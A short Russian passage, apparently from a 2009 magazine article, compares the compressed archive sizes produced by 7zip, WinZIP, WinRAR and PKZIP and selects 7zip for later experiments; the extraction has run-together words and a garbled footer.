В результате был получен архив: 15,7 MB (16 489 764 bytes). WinZIP 11.2 при использовании улучшенного метода Deflate выдал файл размером 16,0 MB (16 803 634 bytes). WinRAR 3.80, формат архива — zip с наилучшими параметрами сжатия: 16,3 MB (17131 353 bytes). PKZIP 9.00 от создателей формата совсем подвел, и по методу Deflate с максимальным сжатием произвел файл размером 16,3 MB (17 094 474 bytes).
Итогоммоегонебольшогосравнительноготестированиясталвыбордля экспериментовархива, какнетруднодогадаться, созданного7zip.
СигнатураELF вHEX-редакторе
XÀÊÅÐ 04 /124/ 09 |
059 |
|